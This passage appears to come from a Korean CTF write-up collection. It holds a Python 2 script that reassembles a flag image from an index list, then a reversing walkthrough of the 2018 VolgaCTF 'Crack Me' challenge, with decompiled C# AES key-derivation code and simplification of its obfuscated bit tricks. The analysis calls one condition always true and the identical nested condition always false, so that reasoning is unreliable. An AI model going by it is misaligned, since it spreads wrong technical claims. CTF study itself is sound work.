62~9450~14084~1886~13779~5358~9841~12790~11229~14119~3901~6279~1825~13473~4988~13480~7878~3145~7971~6596~5431~5136~12044~3301~5950~3757~10499~1846~4746~11360~5883~9762~8883~13133~10899~14474~12357~9676~13853~11336~7402~2741~1505~4015~6100~7863~996~4413~10319~5943~10876~4550~13391~753~13613~12624~251~10114~7028~7374~13659~4434~3173~1858~4875~7830~11996~13524~11729~8596~9123~10403~3511~6319~4525~2174~12212~10001~3225~10125~12993~5363~7729~8188~3443~6663~1992~13290~4140~4324~12825~10184~6965~1644~64~4259~10172~3883~10377~9789~385~1718~12210~5568~9454~1702~9381~11746~7945~3223~212~2789~10711~8218~7793~727~6958~7087~7712~6493~5507~7105~867~12929~7362~9818~9038~12664~2341~14373~12843~542~13355~2278~1533~13570~12620~10343~14308~10327~3622~2572~13844~6545~11311~11302~7887~92~5111~745~2244~4512~3474~9539~11853~11245~2437~12306~13339~3175~11507~10458~11734~13016~735~7965~1709~12678~11876~11446~1302~5211~3315~9142~4306~1016~6422~3784~2567~14408~2338~7343~10520~11436~2937~1575~11987~1249~11460~11705~7927~7261~6818~14173~1855~6152~12052~9126~6956~10713~14401~7064~8933~10756~770~9951~7407~4908~13883~1686~6230~349~3103~9276~2648~4506~9094~4099~6886~1010~7497~6620~14394~192~302~1677~2564~7219~9566~5256~4959~13727~6910~451~2231~2382~9417~7256~2266~14034~9116~12161~14216~5625~5426~6310~8780~10866~10823~4497~4851~14281~7736~9305~3518~795~11718~7002~225~2243~778~3279~4119~3495~10755~11654~7745~9018~10270~10004~8062~5760~2520~9063~10112~915~4657~9312~12787~9488~4670~5843~14431~9054~5793~4004~11982~11098~9679~6049~134~14193~7309~13507~8827~8443~3634~13846~3157~5848~3124~8248~12867~9742~277~14496~5823~6434~9387~1646~3037~9065~6778~14716~4148~4202~6739~8590~12379~14323~4900~6824~3936~2461~1668~8900~968~12064~9549~11515~12004~14080~2706~10740~1696~1656~1090~10683~10653~8031~6928~2816~9978~7577~13680~14500~6212~10795~6590~283~1597~4160~9354~7674~12301~11269~4669~4012~11816~9327~11777~4630~1843~9271~7653~12801~3094~4629~11640~6730~3923~13722~11917~5410~7134~8~14617~5354~11888~3478~1333~942~5130~849~5407~10297~6451~9406~5762~5538~6171~1896~10538~11350~10414~9729~7094~12468~2536~9099~11956~11922~2594~4400~12247~10013~2054~3465~13611~8699~14113~7784~14452~7352~14703~560~9671~260~48~6280~14541~7027~8624~2610~1312~9896~8136~10202~10637~7222~3958~1383~6531~5661~6107~10424~4446~6495~125~9848~7637~13091~11053~6969~2192~296~10751~4801~11831~4492~4524~2255~5871~2956~10599~12151~295~504~2228~13097~4509~12388~14444~6373~9376~4280~7738~574~6042~1436~668~13018~1402~6163~13377~4255~13632~13931~2181~3524~11050~9282~9293~10646~5566~2253~13413~11474~5171~1888~9872~4759~10604~4377~8495~7312~10178~11738~10372~12144~4770~3176~4779~3332~11370~3492~14355~12558~8501~6478~2082~2309~13666~9443~10243~10625~1698~9277~14040~6249~4783~11023~12675~3754~10158~5184~6374~2224~11768~10397~4008~9552~6944~13795~453~12264~7542~4932~6095~9639~3415~11190~12744~11322~12335~2745~10198~3644~10767~6123~9501~4706~10056~7563~13292~11433~8401~3677~6588~1706~5809~691~1258~3957~10532~2555~7114~12326~11899~3413~14385~13845~11233~10019~1900~758~12189~13105~12716~12328~13291~12321~8276~557~3198~227~11844~3627~1239~7164~3629~5640~11701~13676~11732~481~12331~3703~11658~2845~2412~2752~13351~10115~12415~1598~12586~13558~12040~11539~8306~8664~4728~14694~3649~8936~11881~12820~12746~5238~7504~55~6409~10021~6385~3594~12608~11532~2115~8451~1918~13885~7998~11941~9690~9220~11459~3470~6838~2697~9143~11786~1882~14586~14646~4076~6892~14420~10026~11842~11377~4587~2415~6112~9152~62~5469~1467~9955~5405~7414~2130~14552~13019~8688~8626~8771~13847~13164~7216~354~7804~8897~3828~10220~3438~11128~7938~4922~9531~3341~11604~13320~7494~4282~514~8215~4795~9613~11891~9567~13231~1613~11000~3327~6157~11495~3846~14573~5466~4552~12850~6009~338~2832~1135~8336~12905~3989~562~5291~2844~10768~13653~9758~11206~9351~5569~2452~13161~11519~7787~189~6336~84~14319~242~8097~1577~5356~7335~2865~11518~12913~4183~1370~2258~5643~775~13913~14759~13404~1803~5235~7274~10341~9707~13286~7333~4942~5056~12517~7980~4694~5119~8652~70~14290~5458~1545~5487~7440~410~4903~6748~9013~9846~1031~10555~1665~3975~1286~307~2052~5672~7786~85~9636~5342~14294~3889~7243~8643~2492~10585~11889~10378~2552~4753~4181~1278~2604~7644~8630~2097~1941~4721~4068~329~11549~11902~9226~12267~4254~2042~2909~3449~6917~8380~10574~12435~952~14766~12271~2525~9652~13384~8646~14446~2074~8960~3701~11457~6483~13415~8289~3239~2430~5810~10663~6002~971~454~47~3727~1475~11664~12358~1096~2086~2499~10211~1059~10960~7776~1075~7829~9050~1988~1400~7113~11382~6078~5020~6635~4415~8995~824~14329~270~9879~13506~1149~8312~11825~12043~9654~8528~6622~10524~12863~2106~3886~12132~4433~12459~5691~6946~13956~1866~4217~6760~11906~14254~2882~166~12994~4708~11950~4970~8683~6676~14404~12366~5375~5301~14692~4316~3716~2292~12742~6354~2233~7276~6159~5986~13933~1203~4459~619~588~3142~10301~4000~11434~5031~9006~7398~14715~11629~13428~12614~11105~2221~12859~3284~8950~7047~128~10690~2043~1303~4566~6348~8020~8862~8492~11861~2755~10426~9678~9078~8635~11628~1532~13446~12763~2178~10644~3780~1700~3440~11295~10022~4993~744~660~4218~5045~8449~13460~5482~6574~12549~10304~8920~10632~9835~11524~5174~13918~5698~13191~3960~12033~12235~6970~14680~1860~12455~2548~11366~10030~10997~14061~7038~12852~506~4931~3540~3607~8714~8278~11327~1757~13068~2075~11264~12990~1979~4767~10049~11079~12894~2883~8310~12768~2388~2941~3072~8377~1815~9656~8802~5304~2428~13865~1334~10506~6621~5481~12545~14673~11554~9855~9666~9849~12670~5763~10018~5179~8011~5014~1085~10277~1367~10688~5515~201~8986~12334~2940~12109~5663~9509~1666~13771~3730~8705~11216~9881~5439~14649~8379~6263~9011~14374~9635~2230~12252~7948~1791~14048~4171~2771~2840~4496~1800~5556~5519~13619~12783~8161~2624~3260~7800~1898~9286~9834~3759~5177~8798~13041~11220~9246~7238~10650~14167~11981~9802~11771~7789~1395~2434~3795~4978~5302~10512~5744~1993~10643~3013~10135~6266~9322~13609~9826~10587~12868~4720~12262~6121~5162~11953~4237~14682~11818~6~12113~3215~9971~11520~12904~2282~5038~901~9149~11287~2695~10640~10669~14604~14309~7552~4826~14357~10692~6389~10579~2468~14259~2159~11184~5852~317~10900~5886~6443~3965~9135~4016~10516~7990~12506~11986~4476~2284~14047~7012~5327~2893~12087~12810~6655~1481~6616~4125~11166~8371~2238~12085~7301~14334~14155~4690~11720~5634~738~14179~6901~14432~12051~12973~7895~13127~350~14262~3467~6400~6235~7314~2827~5193~5479~8778~4986~5131~1250~2403~11412~4070~9335~10036~10667~13996~3131~2749~11740~2575~5421~617~14405~1430~7484~14750~6008~2779~6709~10318~7587~8103~11647~4981~4554~10008~4560~5221~6142~8835~8166~5699~14288~7338~7762~13542~3631~5921~11144~1143~9292~12475~9614~4388~1916~8858~8042~5223~4910~2507~13964~6435~6825~1225~10994~8083~5614~9871~10923~10786~4309~12054~6690~14696~101~11033~569~10089~11502~14571~1589~4236~9176~12372~800~10908~6651~6943~4396~4088~5309~11565~10491~6707~10121~8186~12296~9329~10061~7422~3528~899~12740~5613~9592~593~7842~1797~11171~7540~2721~4662~6476~5651~5816~13193~2316~13036~7294~3811~13887~804~12474~12874~7524~12604~8989~6252~3772~3956~13689~6773~5710~117~2711~10523~11879~3898~8081~10896~14147~7710~13052~14647~2433~3509~6848~3080~7376~14499~13234~855~8890~10214~10507~686~14184~4494~12705~11778~369~5697~8397~3441~9861~8184~9726~13358~634~5621~11447~4661~10175~8510~12513~5703~6416~11652~2127~3571~12943~8141~8562~3604~1580~14152~3337~4289~12277~9720~13892~2320~3972~1850~961~4882~12732~13969~7926~11639~5626~5440~13075~3038~3181~9895~2562~3863~816~1610~13526~10706~316~10724~374~3118~9934~5863~10132~9948~3758~11032~13665~9274~13884~13624~5063~5591~8283~7761~9699~13218~808~13908~8400~12659~946~5195~2608~13605~11283~4682~1502~723~10475~8795~1649~14209~12770~12097~14124~11395~7308~12849~10488~12095~10497~76~3904~2031~5416~6494~474~2198~2485~662~12646~2826~1191~6770~3134~1037~14553~3404~10803~13055~11511~650~522~5307~2910~257~6267~3702~1078~3029~9701~13027~8323~2471~7532~2145~10971~733~11332~12777~12473~3909~8491~10621~2219~13872~765~11721~11484~9591~7177~433~10046~9265~9426~10435~11131~8354~1527~1697~13070~6548~5850~1036~3771~2041~11010~10736~9093~7147~1105~12800~14449~8128~12888~1268~1471~13167~9326~407~4011~9584~14201~8941~7605~10127~7859~13169~1484~10679~5315~11737~7480~3632~5903~11742~6073~3679~10517~3066~12006~8437~7189~5006~1129~8430~12399~13300~11354~4399~9471~14701~6273~5525~3204~7893~12152~1373~3788~12495~7779~4120~10716~10284~13564~12952~12791~1991~12329~10686~2172~14351~13382~258~12539~3102~2976~2849~9389~259~2801~6026~6849~4579~9525~8026~13403~6475~14450~5946~6569~12469~3084~13700~6270~14158~372~6402~10548~6831~834~4711~10925~7996~12564~9937~1726~12230~4964~3704~12565~11612~1812~8718~6882~12408~12609~14106~6363~11343~5361~8235~12749~4214~2289~6811~1519~2405~1678~8378~11022~12390~11913~1384~34~14224~3245~3034~3075~13014~1028~6757~9601~14505~9248~680~6361~13690~5693~10073~5297~7392~8955~3096~5510~13432~14346~12198~3834~8707~3372~14226~7063~4949~13190~7329~14306~460~2375~1513~10854~761~7556~11255~9917~3547~2070~5001~7624~14711~6884~6691~13459~11437~11210~3952~11576~9801~4351~11414~4060~1110~1084~11709~4739~12022~14318~8204~10662~3056~1166~10406~7158~2653~9472~14118~6183~12618~6307~2030~8327~4203~13033~1371~10059~8747~4491~12715~7772~14462~11958~954~12178~7812~9514~9634~1285~2117~5947~2693~14581~1432~11806~14427~10930~3274~6745~3188~12541~9383~12686~9680~6808~8420~2381~10862~9462~10843~2322~8198~495~7625~10936~4516~2133~10818~2935~3787~12938~8484~5449~9993~14645~14409~11769~9898~13735~13046~9337~3281~10423~3538~8100~853~8391~2652~7144~7361~10916~12947~10889~7894~3700~10412~2981~12166~3706~5339~1648~2500~8446~13593~5765~14302~1337~10840~2988~14472~6771~3042~1972~4776~2550~1999~4798~3091~9594~3988~776~7382~13040~9886~6854~9787~3823~9903~9483~2204~8181~1132~7939~8512~12784~8108~12078~10547~1000~2023~1776~11256~4878~8292~8999~13185~4225~5402~9763~8399~14758~11352~9659~11770~8708~8520~3396~2337~11596~8997~11943~8736~6967~13043~6747~4787~8710~3498~13915~1653~2092~11558~7264~10851~498~12123~9877~6080~2753~12299~2712~3087~11653~9504~1560~10149~12617~13189~918~50~359~1424~11081~9214~9760~13441~3944~9343~3899~13443~10999~6208~14748~1172~14398~8000~11071~10802~11563~3328~3488~1592~7305~6929~5082~1675~2929~5764~14714~14522~3010~8392~4269~7184~13999~3856~1368~13620~321~8880~10288~6452~9660~7633~13427~4948~2006~14101~762~5035~13495~13255~3342~1122~7516~12713~11064~10645~4338~7659~5987~6858~13243~7014~10200~12462~783~2009~1535~3044~13003~8859~11090~3567~9474~1650~183~2516~11475~4769~903~8315~4991~8003~9308~10010~7747~12923~3194~8309~5055~8886~858~14162~22~7642~8787~11176~6877~11051~13502~9092~12887~2319~10193~6488~8326~7313~10216~12880~652~11284~14659~9194~7188~12199~13450~4683~12193~3146~11686~440~1705~793~8612~985~5862~12792~4009~6456~4339~8340~8659~6583~13226~13685~7453~9432~8311~8480~11411~11020~11155~13345~12505~2077~4829~2446~3433~10530~6234~11215~11863~106~10077~5502~3083~5503~14156~11129~4187~9698~12704~8490~13483~11268~4610~2498~4018~13837~9887~12102~4391~11545~46~571~1973~5133~2073~1317~6093~12140~9545~4671~11579~2063~11132~10727~4717~5443~13426~4834~8678~2504~4471~253~6530~12128~535~2920~13556~621~6096~11822~12580~2717~10015~14231~7397~1764~7099~13679~3569~7474~5401~6403~13899~7856~10266~5376~9809~12096~10721~3596~8040~8080~2719~12689~8925~1273~6430~5788~9737~10531~8601~10166~6536~6433~7589~3752~10774~14566~5513~13183~13400~13312~3455~4973~2720~7386~4994~2527~7410~4848~3506~5237~11084~6821~6991~2990~6765~10853~2350~5635~429~8836~5095~11708~7768~3292~12423~12046~7882~5382~2024~13879~14388~2153~597~8148~9079~9962~687~4393~9580~9811~11621~447~1013~3241~11868~12458~2787~7632~4428~11702~11201~4990~7203~6014~5880~3535~10568~7455~1465~5323~2071~511~13208~3526~10275~11762~3418~9300~7390~2688~6027~1910~11949~10631~8163~494~7142~10188~2134~4032~9791~3572~5970~1347~11316~13276~1119~9498~6237~9615~7482~4195~741~14624~1978~2391~5429~1179~1048~4374~12077~6939~5938~2544~6099~8772~4709~1034~8633~3513~13812~5831~11175~11493~6399~2796~10975~7405~11682~1380~3675~10758~4785~10182~9972~1088~8228~3452~6343~7416~3053~11477~2676~5263~5555~12084~13342~7698~7968~10504~8730~1717~9975~9740~9177~11792~2326~1959~6719~4419~14549~13115~12662~4515~3503~1674~5143~7759~12080~13973~6141~4468~187~13246~1394~12835~361~9814~480~6337~4014~1813~9926~12660~4288~12650~9234~14032~5233~12794~9751~7173~3715~10906~8864~14706~10815~9296~1468~291~12730~13774~8697~938~4003~11823~12005~1755~1281~8021~10846~8603~9990~10252~1390~2177~6394~7437~5940~10892~10826~7634~4852~10462~14314~3533~3271~4681~4672~9904~2411~13725~12961~182~9218~11113~1928~12002~9307~2236~6258~10981~9767~14422~3783~3312~5191~7815~2630~7539~7515~11167~2579~7168~5085~2397~7760~6479~12762~6692~7614~13894~7337~7899~4819~5732~601~5012~6618~3816~7660~554~711~1009~7922~13788~5257~9349~8755~9673~1234~10872~613~11627~6625~10573~1534~7345~1207~12148~4592~3115~4386~13317~2823~4095~5183~3485~12086~9156~13816~1476~3323~4244~9716~8840~6793~8007~10208~9927~6339~14380~7367~13834~5910~23~136~832~1246~29~10984~2379~2032~12304~2371~12355~2584~11248~12049~2021~6752~13826~1044~8569~3182~10438~6321~91~8785~12584~9303~9012~11711~3058~1165~13274~2650~2513~8662~11569~4044~14399~2576~5583~5425~10993~3078~2770~6512~3595~2666~5546~12837~14760~4101~1167~12438~5641~630~10472~6091~11463~2656~10325~1810~4207~3910~10279~12525~2027~12847~6924~2011~4375~5983~8876~10045~11469~8404~11152~7993~4457~11752~3367~14598~9915~13494~5803~247~2410~14402~14263~11156~4772~11365~6250~4650~2775~8692~12883~10104~696~11386~12757~148~5373~1520~2994~5474~2100~9245~3671~14127~5262~6334~14629~180~3375~8138~2386~3585~9098~7288~3981~1927~10222~1760~5776~12131~6627~11955~2248~4620~10283~11139~7822~4528~854~11236~14440~5523~301~2966~12145~13905~7194~1805~8170~14436~10369~10920~10806~6120~5242~6075~14021~5445~10973~9497~3589~13217~3912~3167~11696~13095~12405~6766~11587~8004~7569~5741~9026~611~5314~7435~13098~2450~3558~1032~6834~6844~2001~8095~7444~9688~8899~13394~6774~7670~9477~655~9222~13604~2342~8207~6397~13026~13563~7131~5930~9836~3346~4632~14471~7596~1126~6619~1730~5533~9991~13536~4693~5638~3317~11494~8875~4175~5837~3861~6300~2143~8338~2736~8781~11008~11715~7685~10668~10898~1569~13346~11207~11338~8903~12980~463~14502~6645~3344~6246~9682~10238~13550~2275~12270~9164~11130~4232~6178~10067~10449~10978~1958~4859~3560~12619~2328~3268~11536~11797~1328~9439~10536~7032~2421~725~11186~11191~3262~766~8800~1463~13212~6853~3827~5933~14419~1041~3983~9196~7641~10875~4356~13560~11622~7289~2748~10150~14637~6544~1266~14727~3063~10189~11924~1269~13062~10521~1486~13674~2811~14667~9867~4024~7479~7667~12010~12032~2623~14137~4947~2546~6905~11516~14271~7204~9797~7137~294~6681~9775~7628~2280~3692~4510~8421~2959~11979~6974~13287~4146~2264~118~12318~5480~14691~12014~11983~300~11473~11357~5743~10474~4258~8888~1814~130~8385~5722~5~13035~7302~10069~5607~14448~12284~1929~6672~6311~683~246~6832~1019~9309~14621~9170~12223~3695~8384~13071~6444~13897~146~13042~9774~14720~2619~7388~8942~12269~6733~14620~8167~6199~2484~12386~10261~7468~1408~2998~8050~12338~2802~2217~976~13741~5605~13207~820~8255~3297~13734~2987~12305~3434~1464~10648~7145~12816~11859~12456~4806~1752~10783~4643~2853~4907~3640~8322~1688~3076~10735~9449~13229~6233~8644~7693~12464~7537~3243~9120~1608~2578~10525~216~6303~8199~6447~11422~6557~11481~5207~10582~12343~2854~14287~3377~8981~7841~3878~10302~12998~9577~13387~8096~10871~12407~7613~4313~11575~7909~10858~7731~5236~3744~2680~12668~4039~1894~3209~8254~14679~7846~5550~13330~1229~1020~5260~4489~9805~4442~8898~2265~11946~10534~12977~5619~9646~9476~538~8240~565~8383~12979~14265~3514~13921~1857~12317~10852~9336~9379~12347~5374~13020~8535~9342~5121~5892~2876~2613~4~7919~14676~10416~56~3563~421~11235~3456~1893~3024~13453~11528~3750~11593~4762~7560~3932~12208~10672~13647~9496~12091~14728~5820~11068~8768~14605~1641~1208~941~11259~8589~7240~11788~13086~3389~5365~14194~3347~8957~10558~4078~1976~1189~6790~7582~10186~1200~1945~10075~5231~3172~1789~1777~3725~4607~3943~32~7317~4352~8341~13484~8834~6265~2813~11067~8994~11381~5683~9804~8217~1398~2733~3294~530~5918~13166~825~3552~10784~6613~151~11848~13843~1636~8046~9992~2355~415~10195~10639~4154~14569~1051~4089~11465~1963~13747~14145~12765~7492~11829~2149~2625~7151~1473~14241~10808~4122~8695~8353~8905~3676~13579~8324~1568~2760~6162~7490~3588~540~97~12112~1544~12092~7320~9189~6353~8297~14330~5468~7615~11748~558~3071~7581~9734~934~11454~13260~9155~9367~2346~4006~7469~11925~1557~8038~10917~5347~1948~7202~3431~12701~13778~14264~4361~10210~3397~13785~3240~3930~7756~4425~11751~13789~10287~10276~14372~10776~7880~5798~6007~6390~6195~10382~3527~2190~10312~14331~3507~1332~11270~419~6736~10726~5715~14735~12694~7035~736~12673~7780~2214~164~3537~9446~9486~7262~129~14763~1565~8843~7330~10940~13383~590~8156~5939~6064~2644~13354~9790~6068~1879~3921~13031~7130~3717~2414~1949~12953~7019~14356~2502~3190~3838~6004~13562~11744~140~2511~9685~1904~4612~7229~6642~13805~12731~2404~9334~6145~10143~5890~9215~11839~1131~450~8260~49~1305~5811~8738~11197~7520~1834~8946~14639~8570~862~14478~5306~8584~5907~3656~4042~9071~6227~11960~3551~11389~7478~13077~4201~9776~4245~14557~4465~11030~2570~6777~10578~12834~12110~340~13225~11521~14251~10459~6260~9540~2268~2860~5536~13148~11109~14311~10901~2510~14619~5596~11102~13553~10~8229~4777~4478~5543~3818~11836~6693~13424~2646~2107~12501~4473~9444~3978~567~12625~3694~10638~6640~10157~4279~3879~7928~3385~3011~11603~3358~5083~14418~4982~4067~4652~4346~5325~2136~11951~1739~13796~1054~13588~9023~6207~7982~14368~10541~12709~7380~5199~1112~10142~9700~9785~8245~7100~4750~5447~1290~12200~8192~518~3896~12766~7360~9175~6585~1270~12892~2148~13462~11293~12503~13902~2209~3364~7096~2285~6103~10471~9952~11112~11249~9718~12127~8463~10253~13256~7662~3331~11915~7896~10708~2005~6453~933~263~12412~5335~11747~1023~866~11115~9458~7806~6086~14004~11753~7920~8857~12381~13411~4543~7694~14718~2738~5549~9043~6906~14467~9314~1169~8937~598~7470~4749~2824~6842~2396~12946~9109~6519~109~13994~14376~5492~12017~10160~7090~13254~2622~1821~10313~4588~8690~14120~13270~9828~3720~5300~8948~12126~1509~12246~12805~3023~12939~10102~10560~7449~8742~12572~10959~583~320~3801~10496~9538~12700~12711~752~7862~13743~11344~5100~7526~2524~11722~8093~4754~5842~2549~8816~3666~2022~3792~6952~4248~14597~2288~13811~6785~9447~11540~609~6751~5456~11017~9260~9213~2589~14221~1413~10236~14587~4397~7635~14056~2323~14015~9721~11244~4999~7602~6135~12927~7493~9691~9153~657~13173~5858~11894~14485~12759~14707~4628~8452~543~9294~6276~1409~11551~4602~12562~4945~10992~5821~5010~9609~3639~7086~1946~9410~10179~8104~184~11137~6116~13425~13985~12285~4115~281~4211~729~4019~9600~3869~8821~5545~9650~13698~3217~11999~12105~10495~9513~12463~6812~12793~6989~7008~10470~2829~2378~368~3098~5759~14477~6448~3459~2457~1593~14724~8468~11985~1602~12205~7112~13008~380~5355~6295~14479~1340~14135~5582~3107~14324~3738~13726~1722~9374~11262~9440~13658~2972~6419~7543~12776~14286~9610~7579~669~2392~12864~8752~11306~13301~9~6304~5470~174~9987~11348~7886~12983~2168~217~4549~6522~8943~2671~10990~1955~4830~7697~4675~10796~14709~135~12672~8079~10620~6074~11934~4816~2060~12393~13881~10829~1062~1447~6332~8555~10337~12490~7059~13967~1728~11560~54~13170~8561~10373~4310~2710~5026~8225~12574~14591~14550~4444~7119~10962~4596~13204~12159~1106~5225~12047~5255~2160~813~5360~2449~2603~1790~1418~3308~2543~10565~3114~12813~5418~6355~8359~4365~10332~9039~4536~6239~5929~4454~10093~882~11988~10398~14666~5751~194~6725~4788~5526~8629~7885~11616~5446~14461~13284~11637~5276~5501~7118~7452~5990~13780~11919~6056~2333~8824~343~4332~10385~2113~8474~3158~2553~2324~5394~6241~10956~10404~1563~221~10328~13838~13649~6082~4637~1170~13329~3906~3119~10658~6203~4290~13977~8849~6579~920~2926~2460~2312~1660~3466~2700~10410~12268~2689~14313~2975~3105~3019~4634~10519~6057~13134~6912~2819~10611~3251~8455~1785~12440~3187~5795~10709~6137~9845~12120~4418~732~5463~5846~4764~4821~1414~13182~8258~9159~12786~5906~11929~3821~1350~13188~2675~12367~8149~69~9534~9810~6245~6617~4257~5316~13631~8841~9624~5120~3169~12394~3307~11247~394~1742~33~1964~6775~5320~2545~8853~7373~6388~11120~8782~6011~10107~5499~8731~5267~13716~12103~2299~6098~4130~14658~6696~4611~7209~1375~4221~11280~7456~9598~14063~7954~11898~6128~9663~7574~3259~141~1310~4644~7021~991~276~2078~13668~14310~10703~7783~10635~12146~14421~10239~10868~8952~3384~5835~4123~6484~12615~14225~1745~7107~2837~12597~2797~3687~6968~11353~13318~4136~11547~4758~6607~2120~3670~13730~7599~7845~6485~11510~8851~1128~7739~3848~14514~9800~161~2540~21~2961~9683~14583~1769~6396~420~3525~8686~14099~1902~14417~6942~9754~6469~10752~7411~2270~6223~9072~10789~7571~12657~13960~1267~10295~7769~14387~4037~2329~2912~2186~3068~2109~4625~9396~5757~12626~5746~12592~5917~764~9491~4069~8748~362~11931~8393~8147~1301~5336~638~1493~115~10064~11583~14606~11694~7141~2144~4658~11242~5656~12385~14548~1263~1474~7340~11217~7199~1628~12838~10510~13782~13818~4112~13510~3062~3996~665~12897~4952~12088~7176~14094~6502~4422~10196~3839~2985~10746~12747~226~1987~14316~6977~13537~12191~14672~4028~9262~12111~6347~3180~2367~4535~13548~2866~3164~649~1609~13347~5346~9029~6362~13390~5600~9833~12238~11126~9876~10338~6272~10657~12671~3882~5896~3903~1583~7026~14473~14183~6463~10209~256~5411~6282~13162~11049~9132~199~12823~13251~3946~4209~14144~8657~4729~5125~14116~2359~5867~5817~3026~5114~5389~9056~10371~11789~6564~397~1292~1567~11272~2523~2442~6211~14239~1160~6106~14139~2193~142~1183~7852~8724~12149~9182~6041~8935~5876~1690~2440~13247~10828~9637~1461~5725~11396~672~995~8984~4865~379~2252~2004~9031~7827~11610~14765~979~4480~13923~11078~1271~6701~4937~13049~8790~13926~9341~11305~280~10924~2889~6088~12083~3798~11299~4256~2948~8436~8613~13635~11014~4815~9356~12915~6017~8458~2565~1227~2399~4665~8923~11380~1925~11541~13266~8382~6019~337~1685~2590~11559~7530~5053~11867~6682~12720~627~6242~12802~4092~4462~7554~3132~8233~14643~344~14191~45~170~303~7446~10824~2152~10619~9529~13107~8394~8822~5040~356~10550~6801~12919~4458~6639"
encode_data = text.split('~')
encode_line = line.split('~')
encode_dict = {}
for l in range(len(encode_line)):
encode_dict[encode_line[l]] = encode_data[l]
fh_data = ""
for m in range(1,len(encode_line)+1):
fh_data += encode_dict[str(m)]
print fh_data
fh = open("flag.png", "wb")
fh.write(fh_data.decode('base64'))
fh.close()
REVERSING¶
windows¶
[2018_VolgaCTF] [REV] Crack Me¶
문제 내용¶
Just do it.
문제 풀이¶
파일 다운로드 시 실행 파일 Crackme.exe와 암호화 텍스트 Crackme.txt가 주어진다. Crackme.exe 실행 시 다음과 같은 화면이 출력된다.
Incorrect arguments
Usage: CrackMe.exe <input_file> <output_file> <user_pass_phrase> <mode>
ilspy로 디컴파일한 뒤, 출력되는 문자열을 검색하면 다음 코드 부분을 확인할 수 있다.
// CrackMe.Program
private static void Main(string[] args)
{
if (args.Length != 4)
{
Console.WriteLine("Incorrect arguments");
Console.WriteLine("Usage: CrackMe.exe <input_file> <output_file> <user_pass_phrase> <mode>");
return;
}
string text = args[0];
string outputFile = args[1];
string userPassword = args[2];
string a = args[3];
if (!File.Exists(text))
{
Console.WriteLine("Input file doesn't exist");
return;
}
CryptoOperation cryptoOperation = new CryptoOperation();
cryptoOperation.FileName = text;
cryptoOperation.UserPassword = userPassword;
if (a == "encrypt")
{
Program.Encrypt(cryptoOperation, outputFile);
return;
}
if (!(a == "decrypt"))
{
Console.WriteLine("Incorrect mode");
Console.WriteLine("Use encrypt or decrypt");
return;
}
Program.Decrypt(cryptoOperation, outputFile);
}
mode 인자값에 따라 암호화 복호화가 가능하며, 주어진 CrackMe.txt파일을 복호화하는게 이번 문제에 핵심으로 보인다.
// CrackMe.CryptoOperation
public byte[] DecryptFile()
{
byte[] result = null;
using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
{
aesCryptoServiceProvider.Key = this.UserKey;
aesCryptoServiceProvider.IV = this.IV;
try
{
ICryptoTransform transform = aesCryptoServiceProvider.CreateDecryptor(aesCryptoServiceProvider.Key, aesCryptoServiceProvider.IV);
FileInfo fileInfo = new FileInfo(this.FileName);
using (MemoryStream memoryStream = new MemoryStream(this.ProcessingBytes))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read))
{
using (BinaryReader binaryReader = new BinaryReader(cryptoStream))
{
result = binaryReader.ReadBytes((int)fileInfo.Length);
}
}
}
}
catch
{
Console.WriteLine("Failed to decrypt file {0}: wrong password.", this.FileName);
}
}
return result;
}
aes로 암복호화를 하고 있으며, Userkey값을 키값으로 쓰고 있다. UserKey값은 3번째 인자값을 다음과 같이 변행하여 적용한다.
// CrackMe.CryptoOperation
public string UserPassword
{
set
{
this.KeyLength = 16;
byte[] userKey = MD5.Create().ComputeHash(Encoding.UTF8.GetBytes(value));
this.UserKey = this.CombineKeys(userKey);
}
}
// CrackMe.CryptoOperation
private byte[] CombineKeys(byte[] UserKey)
{
AppSettings appSettings = new AppSettings();
byte[] expr_16 = Encoding.UTF8.GetBytes(appSettings.DefaultKey);
long num = BitConverter.ToInt64(expr_16, 0);
long num2 = BitConverter.ToInt64(expr_16, 8);
long num3 = BitConverter.ToInt64(UserKey, 0);
long num4 = BitConverter.ToInt64(UserKey, 8);
long num5 = num ^ num3;
long num6 = num2 ^ num4;
long num7 = (~num & num3) | (~num3 & num);
long num8 = (~num2 & num4) | (~num4 & num2);
int num9 = BitConverter.ToInt32(BitConverter.GetBytes(num5), 0);
int num10 = BitConverter.ToInt32(BitConverter.GetBytes(num5), 4);
int num11 = BitConverter.ToInt32(BitConverter.GetBytes(num6), 0);
int num12 = BitConverter.ToInt32(BitConverter.GetBytes(num6), 4);
num9 >>= 2;
num10 >>= 2;
num9 <<= 1;
num10 <<= 1;
num12 = num9 << 1;
num11 >>= 2;
num11 = num9 << 1;
num12 >>= 2;
if (~(num9 & num12) == (~num9 | ~num12))
{
num11 = num10;
if (~(num9 & num12) == (~num9 | ~num12))
{
num10 = num12;
}
else
{
num12 = num10;
}
num9 = ~num12;
}
else
{
num11 = num9;
if (~(~num7) == num5 && ~(~num8) == num6)
{
num10 = num12;
}
else
{
num12 = num10;
}
num9 = ~num10;
}
num9 = ~num9;
byte[] bytes = BitConverter.GetBytes(num9);
byte[] bytes2 = BitConverter.GetBytes(num10);
byte[] bytes3 = BitConverter.GetBytes(num11);
byte[] bytes4 = BitConverter.GetBytes(num12);
byte[] array = new byte[16];
for (int i = 0; i < 4; i++)
{
array[i] = bytes[i];
array[i + 4] = bytes2[i];
array[i + 8] = bytes3[i];
array[i + 12] = bytes4[i];
}
return array;
}
위 코드는 보기엔 복잡한 계산식이지만 트릭이 있다. 계산식 중 "num ^ num3"은 "~num & num3) | (~num3 & num)"과 같으며, "num2 ^ num4"도 역시 "(~num2 & num4) | (~num4 & num2)"과 같다. 그리고 if 조건문이 존재하는데 "(~(num9 & num12) == (~num9 | ~num12))"은 어떤 값이든 항상 참으로 else 문이 필요없다. 그리고 if 조건문 안에 추가 if 조건문이 존재하는데 "(~(num9 & num12) == (~num9 | ~num12))"은 어떤 값이든 항상 거짓으로 else문으로 가게된다. 해당 내용에 맞게 위 코드는 다음과 같이 정리할 수 있다.
// CrackMe.CryptoOperation
private byte[] CombineKeys(byte[] UserKey)
{
AppSettings appSettings = new AppSettings();
byte[] expr_16 = Encoding.UTF8.GetBytes(appSettings.DefaultKey);
long num = BitConverter.ToInt64(expr_16, 0);
long num2 = BitConverter.ToInt64(expr_16, 8);
long num3 = BitConverter.ToInt64(UserKey, 0);
long num4 = BitConverter.ToInt64(UserKey, 8);
long num5 = num ^ num3;
long num6 = num2 ^ num4;
long num7 = num ^ num3;
